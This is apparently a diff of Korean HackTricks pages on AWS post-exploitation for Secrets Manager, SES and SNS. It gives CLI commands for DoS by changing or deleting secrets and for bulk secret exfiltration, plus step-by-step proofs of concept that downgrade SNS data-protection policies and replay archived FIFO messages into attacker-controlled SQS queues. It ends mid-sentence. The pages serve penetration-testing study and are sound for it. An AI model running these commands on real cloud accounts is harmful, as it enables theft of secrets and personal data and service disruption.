--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
```
### DoS KMS key 변경
만약 attacker가 secretsmanager:UpdateSecret 권한을 가지고 있다면, secret이 attacker가 소유한 KMS key를 사용하도록 구성할 수 있습니다. 해당 KMS key는 처음에 누구나 접근·사용할 수 있도록 설정되어 있어 secret을 새 key로 업데이트하는 것이 가능합니다. 만약 key에 접근할 수 없다면 secret을 업데이트할 수 없습니다.
secret의 key를 변경한 후 attacker는 자신의 KMS key 설정을 수정해 오직 본인만 접근할 수 있도록 만듭니다. 이렇게 하면 이후 버전의 secret들은 새 KMS key로 암호화되며, 해당 key에 대한 접근 권한이 없으므로 secret을 조회할 수 없게 됩니다.
중요한 점은 현재 버전은 여전히 원래 KMS key로 암호화되어 있기 때문에, 이 접근 불가 상태는 secret 내용이 변경된 이후의 이후 버전에서만 발생한다는 것입니다.
```bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
### DoS Secret 삭제
secret을 삭제하려면 최소 7일이 필요합니다.
```bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
```
## secretsmanager:RestoreSecret
비밀을 복원할 수 있습니다. 비밀의 최소 삭제 기간은 7일이고 최대는 30일이므로, 삭제가 예약된 비밀을 복원할 수 있습니다. secretsmanager:GetSecretValue 권한과 함께 사용하면 해당 내용물을 가져올 수 있습니다.
삭제 중인 비밀을 복구하려면 다음 명령을 사용할 수 있습니다:
```bash
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
```
## secretsmanager:DeleteResourcePolicy
이 작업은 secret에 접근할 수 있는 사람을 제어하는 resource policy를 삭제할 수 있게 합니다. resource policy가 특정 사용자 집합에 대한 접근을 허용하도록 구성되어 있었다면 이는 DoS로 이어질 수 있습니다.
resource policy를 삭제하려면:
```bash
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
```
## secretsmanager:UpdateSecretVersionStage
비밀의 상태는 비밀의 버전을 관리하는 데 사용됩니다. AWSCURRENT은 애플리케이션이 사용하는 활성 버전을 표시하고, AWSPREVIOUS는 필요할 경우 롤백할 수 있도록 이전 버전을 보관하며, AWSPENDING은 회전 과정에서 새 버전을 현재로 만들기 전에 준비하고 검증하는 데 사용됩니다.
애플리케이션은 항상 AWSCURRENT가 붙은 버전을 읽습니다. 누군가 그 레이블을 잘못된 버전으로 옮기면 애플리케이션은 유효하지 않은 자격 증명을 사용하게 되어 실패할 수 있습니다.
AWSPREVIOUS는 자동으로 사용되지 않습니다. 그러나 AWSCURRENT가 제거되거나 잘못 재할당되면 모든 것이 여전히 이전 버전으로 실행되고 있는 것처럼 보일 수 있습니다.
```bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
```
{{#include ../../../banners/hacktricks-training.md}}
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
Secrets Manager BatchGetSecretValue API를 악용하여 단일 요청으로 최대 20개의 secret을 검색할 수 있습니다. 이는 각 secret마다 GetSecretValue를 반복 호출하는 것과 비교해 API 호출량을 크게 줄일 수 있습니다. 필터(tags/name)를 사용하는 경우 ListSecrets 권한도 필요합니다. CloudTrail은 여전히 배치에서 검색된 각 secret마다 GetSecretValue 이벤트를 기록합니다.
필요 권한
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue (각 대상 secret에 대해)
- secretsmanager:ListSecrets (--filters 사용 시)
- kms:Decrypt (secrets에 사용된 CMKs에 대해, aws/secretsmanager를 사용하지 않는 경우)
> [!WARNING]
> `secretsmanager:BatchGetSecretValue` 권한만으로는 secret을 검색하기에 충분하지 않습니다. 검색하려는 각 secret에 대해 `secretsmanager:GetSecretValue` 권한도 필요합니다.
Exfiltrate by explicit list
```bash
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
```
Exfiltrate — 필터로 (tag key/value 또는 name prefix)
```bash
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
```
부분 실패 처리
```bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
```
영향
- 더 적은 API 호출로 많은 secrets를 빠르게 “smash-and-grab”하여, GetSecretValue의 급증에 맞춰 조정된 alerting을 우회할 수 있습니다.
- CloudTrail 로그에는 배치로 검색된 각 secret마다 여전히 하나의 GetSecretValue 이벤트가 포함됩니다.
@@ -0,0 +1,129 @@
# AWS - Secrets Manager Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Secrets Manager
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Read Secrets
**secrets 자체는 민감한 정보입니다.** 읽는 방법은 [privesc 페이지](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md)를 확인하세요.
### DoS Change Secret Value
해당 secret의 값을 변경하면 그 값을 사용하는 모든 시스템을 **DoS**할 수 있습니다.
> [!WARNING]
> 이전 값들도 저장되므로, 이전 값으로 되돌리는 것이 쉽습니다.
```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
```
### DoS Change KMS key
공격자가 secretsmanager:UpdateSecret 권한을 가지고 있다면, secret을 공격자가 소유한 KMS key를 사용하도록 구성할 수 있습니다. 그 키는 초기에는 누구나 접근하여 사용할 수 있도록 설정되어 있어, 새 키로 secret을 업데이트하는 것이 가능합니다. 만약 키에 접근할 수 없었다면, secret을 업데이트할 수 없었을 것입니다.
secret의 키를 변경한 후, 공격자는 자신의 키 설정을 수정하여 오직 자신만 접근할 수 있게 만듭니다. 이렇게 하면 이후 버전의 secret들은 새 키로 암호화되며, 해당 키에 대한 접근 권한이 없기 때문에 secret을 조회할 수 있는 능력이 상실됩니다.
중요한 점은 현재 버전은 여전히 원래 KMS key로 암호화되어 있으므로, 이러한 접근 불가 상태는 secret의 내용이 변경된 이후인 이후 버전에서만 발생한다는 것입니다.
```bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
### DoS Deleting Secret
secret을 삭제하는 최소 일수는 7일입니다.
```bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
```
## secretsmanager:RestoreSecret
삭제가 예약된 secret을 복원할 수 있습니다. secret의 최소 삭제 기간은 7일, 최대는 30일이기 때문입니다. secretsmanager:GetSecretValue 권한과 함께 사용하면 해당 내용을 가져올 수 있습니다.
삭제 중인 secret을 복구하려면, 다음 명령을 사용할 수 있습니다:
```bash
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
```
## secretsmanager:DeleteResourcePolicy
이 액션은 secret에 대한 접근을 제어하는 리소스 정책(resource policy)을 삭제할 수 있게 합니다. 리소스 정책이 특정 사용자 집합에 대한 접근을 허용하도록 구성되어 있었다면, 이는 DoS로 이어질 수 있습니다.
리소스 정책을 삭제하려면:
```bash
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
```
## secretsmanager:UpdateSecretVersionStage
secret의 상태는 해당 secret의 버전을 관리하는 데 사용됩니다. AWSCURRENT는 애플리케이션이 사용하는 활성 버전을 표시하고, AWSPREVIOUS는 필요 시 롤백할 수 있도록 이전 버전을 보관하며, AWSPENDING는 새 버전을 현재 버전으로 만들기 전에 준비하고 검증하는 rotation 과정에서 사용됩니다.
애플리케이션은 항상 AWSCURRENT가 붙은 버전을 읽습니다. 누군가 그 라벨을 잘못된 버전으로 옮기면 앱은 잘못된 자격 증명을 사용해 실패할 수 있습니다.
AWSPREVIOUS는 자동으로 사용되지 않습니다. 다만 AWSCURRENT가 제거되거나 잘못 재할당되면 모든 것이 이전 버전으로 계속 실행되고 있는 것처럼 보일 수 있습니다.
```bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
```
{{#include ../../../../banners/hacktricks-training.md}}
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
Secrets Manager BatchGetSecretValue API를 악용하여 단일 요청으로 최대 20개의 secret을 가져올 수 있습니다. 이는 각 secret마다 GetSecretValue를 반복 호출하는 것보다 API 호출 수를 크게 줄여줄 수 있습니다. --filters( tags/name )를 사용하는 경우 ListSecrets 권한도 필요합니다. CloudTrail은 배치에서 가져온 각 secret에 대해 여전히 GetSecretValue 이벤트를 하나씩 기록합니다.
필요한 권한
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue — 각 대상 secret에 대해
- secretsmanager:ListSecrets — --filters를 사용하는 경우
- kms:Decrypt — secret에 사용된 CMKs에 대해 (aws/secretsmanager를 사용하지 않는 경우)
> [!WARNING]
> `secretsmanager:BatchGetSecretValue` 권한만으로는 secret을 가져오는 데 충분하지 않습니다. 가져오려는 각 secret에 대해 `secretsmanager:GetSecretValue` 권한도 필요합니다.
Exfiltrate by explicit list
```bash
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
```
필터별로 Exfiltrate (tag key/value 또는 name prefix)
```bash
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
```
부분 실패 처리
```bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
```
- 더 적은 API 호출로 많은 secrets를 빠르게 “smash-and-grab”하여, GetSecretValue 급증에 맞춰 튜닝된 alerting을 잠재적으로 우회할 수 있습니다.
- CloudTrail logs에는 배치로 검색된 각 secret에 대해 여전히 하나의 GetSecretValue 이벤트가 포함됩니다.
@@ -1,13 +1,13 @@
# AWS - SES 포스트 익스플로이테이션
# AWS - SES Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## SES
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-ses-enum.md
../../aws-services/aws-ses-enum.md
{{#endref}}
### `ses:SendEmail`
@@ -17,15 +17,15 @@
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
```
아직 테스트할 것.
아직 테스트 필요.
### `ses:SendRawEmail`
이메일을 보내다.
이메일을 전송합니다.
```bash
aws ses send-raw-email --raw-message file://message.json
```
아직 테스트할 것.
아직 테스트 필요.
### `ses:SendTemplatedEmail`
@@ -33,35 +33,37 @@ aws ses send-raw-email --raw-message file://message.json
```bash
aws ses send-templated-email --source <value> --destination <value> --template <value>
```
아직 테스트할 것.
아직 테스트 필요.
### `ses:SendBulkTemplatedEmail`
여러 목적지에 이메일 전송합니다.
여러 수신자에게 이메일 전송
```bash
aws ses send-bulk-templated-email --source <value> --template <value>
```
아직 테스트할 것.
아직 테스트되지 않음.
### `ses:SendBulkEmail`
여러 목적지에 이메일을 보냅니다.
여러 대상에게 이메일을 전송합니다.
```
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
```
### `ses:SendBounce`
받은 이메일에 대해 **반송 이메일**을 보냅니다(이메일을 받을 수 없음을 나타냄). 이는 **이메일 수신 후 24시간 이내에만** 수행할 수 있습니다.
수신된 이메일에 대해 **bounce email**을 전송합니다(이메일을 수신할 수 없음을 나타냄). 이 작업은 이메일 수신**최대 24h까지** 수행할 수 있습니다.
```bash
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
```
아직 테스트해야 합니다.
아직 테스트되지 않았습니다.
### `ses:SendCustomVerificationEmail`
은 맞춤형 확인 이메일을 보냅니다. 템플릿 이메일을 생성 권한도 필요할 수 있습니다.
작업은 맞춤형 검증 이메일을 전송합니다. 템플릿 이메일을 생성하기 위한 권한도 필요할 수 있습니다.
```bash
aws ses send-custom-verification-email --email-address <value> --template-name <value>
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
```
아직 테스트해야 함.
아직 테스트 필요.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,68 +0,0 @@
# AWS - SNS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## SNS
자세한 정보는 다음을 참조하십시오:
{{#ref}}
../aws-services/aws-sns-enum.md
{{#endref}}
### 메시지 방해
여러 경우에 SNS 주제는 모니터링되는 플랫폼(이메일, 슬랙 메시지 등)으로 메시지를 보내는 데 사용됩니다. 공격자가 클라우드 내 자신의 존재를 알리는 메시지 전송을 방지하면, 그는 탐지되지 않을 수 있습니다.
### `sns:DeleteTopic`
공격자는 전체 SNS 주제를 삭제하여 메시지 손실을 초래하고 해당 주제에 의존하는 애플리케이션에 영향을 줄 수 있습니다.
```bash
aws sns delete-topic --topic-arn <value>
```
**잠재적 영향**: 삭제된 주제를 사용하는 애플리케이션에 대한 메시지 손실 및 서비스 중단.
### `sns:Publish`
공격자는 SNS 주제에 악의적이거나 원치 않는 메시지를 보낼 수 있으며, 이로 인해 데이터 손상, 의도하지 않은 작업 트리거 또는 리소스 소모가 발생할 수 있습니다.
```bash
aws sns publish --topic-arn <value> --message <value>
```
**잠재적 영향**: 데이터 손상, 의도하지 않은 행동 또는 리소스 고갈.
### `sns:SetTopicAttributes`
공격자는 SNS 주제의 속성을 수정할 수 있으며, 이는 성능, 보안 또는 가용성에 영향을 미칠 수 있습니다.
```bash
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
```
**잠재적 영향**: 잘못된 구성으로 인해 성능 저하, 보안 문제 또는 가용성 감소가 발생할 수 있습니다.
### `sns:Subscribe` , `sns:Unsubscribe`
공격자는 SNS 주제에 구독하거나 구독을 취소할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다.
```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
aws sns unsubscribe --subscription-arn <value>
```
**잠재적 영향**: 메시지에 대한 무단 접근, 영향을 받는 주제에 의존하는 애플리케이션의 서비스 중단.
### `sns:AddPermission` , `sns:RemovePermission`
공격자는 무단 사용자 또는 서비스에 SNS 주제에 대한 접근 권한을 부여하거나, 정당한 사용자에 대한 권한을 철회하여 주제에 의존하는 애플리케이션의 정상적인 기능에 중단을 초래할 수 있습니다.
```css
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
aws sns remove-permission --topic-arn <value> --label <value>
```
**잠재적 영향**: 주제에 대한 무단 접근, 메시지 노출 또는 무단 사용자 또는 서비스에 의한 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단.
### `sns:TagResource` , `sns:UntagResource`
공격자는 SNS 리소스에서 태그를 추가, 수정 또는 제거할 수 있으며, 이는 귀하의 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
```bash
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws sns untag-resource --resource-arn <value> --tag-keys <key>
```
**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,82 @@
# AWS - SNS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## SNS
For more information:
{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}
### 메시지 차단
여러 경우 SNS topics는 모니터링되는 플랫폼( emails, slack messages... )으로 메시지를 전송하는 데 사용됩니다. 공격자가 클라우드에서 자신의 존재를 알리는 알림 메시지 전송을 차단하면 탐지되지 않은 상태로 남을 수 있습니다.
### `sns:DeleteTopic`
공격자는 전체 SNS topic을 삭제하여 메시지 손실을 초래하고 해당 topic에 의존하는 애플리케이션에 영향을 줄 수 있습니다.
```bash
aws sns delete-topic --topic-arn <value>
```
**Potential Impact**: 삭제된 topic을 사용하는 애플리케이션에 메시지 손실 및 서비스 중단을 초래할 수 있음.
### `sns:Publish`
공격자가 SNS topic으로 악성 또는 원치 않는 메시지를 전송하여 데이터 손상, 의도치 않은 동작 유발 또는 자원 고갈을 초래할 수 있음.
```bash
aws sns publish --topic-arn <value> --message <value>
```
**Potential Impact**: 데이터 손상, 의도하지 않은 동작 또는 리소스 고갈.
### `sns:SetTopicAttributes`
공격자가 SNS 토픽의 속성을 수정하여 성능, 보안 또는 가용성에 영향을 미칠 수 있습니다.
```bash
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
```
**잠재적 영향**: 잘못된 구성으로 인해 성능 저하, 보안 문제 또는 가용성 감소가 발생할 수 있습니다.
### `sns:Subscribe` , `sns:Unsubscribe`
공격자는 SNS topic에 구독(subscribe) 또는 구독 취소(unsubscribe)를 수행하여 메시지에 대한 무단 접근을 얻거나 해당 토픽에 의존하는 애플리케이션의 정상 동작을 방해할 수 있습니다.
```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
aws sns unsubscribe --subscription-arn <value>
```
**Potential Impact**: 메시지에 대한 무단 접근, 영향을 받은 토픽에 의존하는 애플리케이션의 서비스 중단.
### `sns:AddPermission` , `sns:RemovePermission`
공격자가 권한 없는 사용자나 서비스에 SNS 토픽에 대한 접근 권한을 부여하거나, 정당한 사용자의 권한을 철회하여 해당 토픽에 의존하는 애플리케이션의 정상 동작을 방해할 수 있습니다.
```bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
aws sns remove-permission --topic-arn <value> --label <value>
```
**잠재적 영향**: 무단 사용자의 topic 접근, 메시지 노출 또는 무단 사용자나 서비스에 의한 topic 조작, topic에 의존하는 애플리케이션의 정상 동작 방해.
### `sns:TagResource` , `sns:UntagResource`
공격자는 SNS 리소스에 태그를 추가, 수정 또는 제거할 수 있어 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
```bash
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws sns untag-resource --resource-arn <value> --tag-keys <key>
```
**잠재적 영향**: 비용 할당, 자원 추적 및 태그 기반 접근 제어 정책의 중단.
### 더 많은 SNS Post-Exploitation Techniques
{{#ref}}
aws-sns-data-protection-bypass.md
{{#endref}}
{{#ref}}
aws-sns-fifo-replay-exfil.md
{{#endref}}
{{#ref}}
aws-sns-firehose-exfil.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,92 @@
# AWS - SNS Message Data Protection Bypass via Policy Downgrade
{{#include ../../../../banners/hacktricks-training.md}}
토픽에 `sns:PutDataProtectionPolicy` 권한이 있으면 해당 토픽의 Message Data Protection 정책을 Deidentify/Deny에서 Audit-only로 변경(또는 Outbound 제어를 제거)하여 민감한 값(예: 신용카드 번호)이 구독으로 수정되지 않은 채 전달되도록 할 수 있습니다.
## Requirements
- 대상 토픽에서 `sns:PutDataProtectionPolicy`를 호출할 수 있는 권한(데이터를 수신하려면 일반적으로 `sns:Subscribe` 권한도 필요).
- 표준 SNS 토픽(Message Data Protection 지원).
## Attack Steps
- Variables
```bash
REGION=us-east-1
```
1) 표준 토픽과 공격자 SQS 큐를 생성하고, 이 토픽만 큐로 전송할 수 있도록 허용합니다
```bash
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
```
2) 아웃바운드 메시지에서 신용카드 번호를 마스킹하는 데이터 보호 정책을 연결합니다
```bash
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
```
3) 공격자 큐를 구독하고 테스트 신용카드 번호를 포함한 메시지를 게시한 뒤 마스킹을 확인합니다
```bash
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
```
예상 출력은 마스킹(해시)을 보여줍니다:
```json
"Message" : "payment:{cc:################}"
```
4) 정책을 audit-only로 하향(Outbound에 영향을 주는 deidentify/deny 문 없음)
For SNS, Audit statements must be Inbound. Replacing the policy with an Audit-only Inbound statement removes any Outbound de-identification, so messages flow unmodified to subscribers.
```bash
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
```
5) 동일한 메시지를 publish하고 마스킹 해제된 값이 전송되는지 확인
```bash
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
```
Expected excerpt shows cleartext CC:
```text
4539894458086459
```
## 영향
- topic을 de-identification/deny에서 audit-only로 전환(또는 다른 방식으로 Outbound controls를 제거)하면 PII/secrets가 수정되지 않은 상태로 attacker-controlled subscriptions로 전달되어, 그렇지 않으면 마스킹되거나 차단되었을 데이터 유출이 가능해집니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,100 @@
# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
{{#include ../../../../banners/hacktricks-training.md}}
Amazon SNS FIFO topic의 메시지 아카이빙을 악용하여 subscription `ReplayPolicy`를 설정함으로써 이전에 게시된 메시지들을 재생(replay)하고 attacker가 제어하는 SQS FIFO queue로 exfiltrate할 수 있음.
- 서비스: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- 요구사항: Topic에 ArchivePolicy(메시지 아카이빙)가 활성화되어 있어야 함. Attacker가 topic에 Subscribe하고 자신의 subscription에 속성(attributes)을 설정할 수 있어야 함. Attacker는 SQS FIFO queue를 제어하고 topic이 메시지를 전송하도록 허용해야 함.
- 영향: 이전에 게시된(구현된) 히스토리 메시지들이 attacker 엔드포인트로 전달될 수 있음. 재생된 전달은 SNS envelope에 `Replayed=true`로 표시됨.
## 전제조건
- 아카이빙이 활성화된 SNS FIFO topic: `ArchivePolicy` (예: `{ "MessageRetentionPeriod": "2" }` 는 2일).
- Attacker는 다음 권한을 가지고 있어야 함:
- 대상 topic에 대한 `sns:Subscribe`.
- 생성된 subscription에 대한 `sns:SetSubscriptionAttributes`.
- Attacker는 SQS FIFO queue를 보유하고 있으며 topic ARN으로부터 `sns:SendMessage`를 허용하는 queue policy를 연결할 수 있어야 함.
## 최소 IAM 권한
- topic에 대해: `sns:Subscribe`.
- subscription에 대해: `sns:SetSubscriptionAttributes`.
- queue에 대해: 정책을 위한 `sqs:SetQueueAttributes` 및 topic ARN로부터 `sns:SendMessage`를 허용하는 queue policy.
## 공격: 아카이브된 메시지를 attacker SQS FIFO로 replay
Attacker는 자신의 SQS FIFO queue를 피해자 SNS FIFO topic에 구독(Subscribe)한 다음, `ReplayPolicy`를 보존 기간 내 과거 타임스탬프로 설정한다. SNS는 즉시 새로운 subscription에 일치하는 아카이브된 메시지들을 재생하여 전달하며, 이를 `Replayed=true`로 표시한다.
참고:
- `ReplayPolicy`에 사용되는 타임스탬프는 topic의 `BeginningArchiveTime` 이상이어야 함. 더 이전이면 API는 `Invalid StartingPoint value` 오류를 반환함.
- SNS FIFO에 대한 `Publish` 시에는 `MessageGroupId`를 지정해야 하며(그리고 dedup ID를 지정하거나 `ContentBasedDeduplication`을 활성화해야 함).
<details>
<summary>End-to-end CLI POC (us-east-1)</summary>
```bash
REGION=us-east-1
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
TS_START=$(python3 - << 'PY'
from datetime import datetime, timezone, timedelta
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
PY
)
# 1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
--query TopicArn --output text)
echo "Topic: $TOPIC_ARN"
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
--message-group-id g1 >/dev/null
done
# 3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
--attribute-names QueueArn --query Attributes.QueueArn --output text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
JSON
# Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
import json, os
print(json.dumps({
'QueueUrl': os.environ['Q_URL'],
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
}))
PY
)"
# 4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
echo "Subscription: $SUB_ARN"
# 5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
START=${TS_START}
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
--attribute-name ReplayPolicy \
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
--max-number-of-messages 10 --wait-time-seconds 10 \
--message-attribute-names All --attribute-names All
```
</details>
## 영향
**잠재적 영향**: 아카이빙이 활성화된 SNS FIFO 토픽에 subscribe할 수 있고 자신의 subscription에 `ReplayPolicy`를 설정할 수 있는 공격자는 이 구독이 생성된 이후에 전송된 메시지뿐만 아니라 해당 토픽에 게시된 과거 메시지를 즉시 replay하고 exfiltrate할 수 있습니다. 전달된 메시지는 SNS envelope에 `Replayed=true` 플래그를 포함합니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,76 @@
# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
{{#include ../../../../banners/hacktricks-training.md}}
공격자가 제어하는 Kinesis Data Firehose delivery stream를 피해자의 SNS standard topic에 등록하기 위해 Firehose subscription 프로토콜을 악용합니다. 구독이 설정되고 필요한 IAM 역할이 `sns.amazonaws.com`을 신뢰하면, 이후 모든 알림은 수사적인 소음 없이 공격자의 S3 버킷에 영구적으로 기록됩니다.
## Requirements
